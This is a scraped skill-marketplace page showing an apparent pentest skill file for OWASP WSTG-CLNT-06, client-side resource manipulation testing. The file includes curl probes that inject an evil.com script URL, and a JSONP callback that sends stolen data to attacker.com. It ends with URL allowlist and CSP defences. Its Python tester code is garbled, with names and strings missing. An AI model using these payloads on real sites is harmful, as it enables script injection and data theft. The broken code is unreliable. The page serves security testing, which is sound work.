用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-06命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-clnt-06 |
| description | Testing for Client-Side Resource Manipulation |
| category | client-side |
| owasp_id | WSTG-CLNT-06 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-06
Testing for Client-Side Resource Manipulation
Client-side resource manipulation occurs when attackers can control what resources (scripts, styles, images) a page loads. This can lead to loading malicious scripts, defacement, or data theft by manipulating URLs of external resources.
#!/bin/bash
TARGET="https://target.com"
# Check if script sources can be manipulated
curl -s "$TARGET/page?script=https://evil.com/malicious.js" | grep -i "script.*src"
curl -s "$TARGET/page?callback=alert" | grep -i "callback"
// If JSONP callback can be controlled:
// https://target.com/api/data?callback=stealData
function stealData(data) {
// Send data to attacker
fetch("https://attacker.com/log?data=" + JSON.stringify(data))
}
#!/usr/bin/env python3
import requests
import re
class ResourceManipulationTester:
():
.base_url = base_url
.findings = []
():
()
payload =
response = requests.get(
,
params={param: payload}
)
response.text response.text:
()
.findings.append({
: ,
:
})
():
()
response = requests.get(
,
params={: }
)
response.text:
()
.findings.append({
: ,
:
})
tester = ResourceManipulationTester()
tester.test_script_injection(, )
tester.test_jsonp()
// Validate resource URLs
const ALLOWED_DOMAINS = ["cdn.example.com", "static.example.com"]
function loadScript(url) {
try {
const parsed = new URL(url)
if (ALLOWED_DOMAINS.includes(parsed.hostname)) {
const script = document.createElement("script")
script.src = url
document.body.appendChild(script)
}
} catch (e) {
console.error("Invalid URL")
}
}
// Use CSP to restrict resource loading
// Content-Security-Policy: script-src 'self' cdn.example.com
| Finding | CVSS | Severity |
|---|---|---|
| External script loading | 8.6 | High |
| JSONP callback manipulation | 6.1 | Medium |
[ ] Script sources analyzed
[ ] JSONP endpoints tested
[ ] iframe sources checked
[ ] CSS sources tested
[ ] Findings documented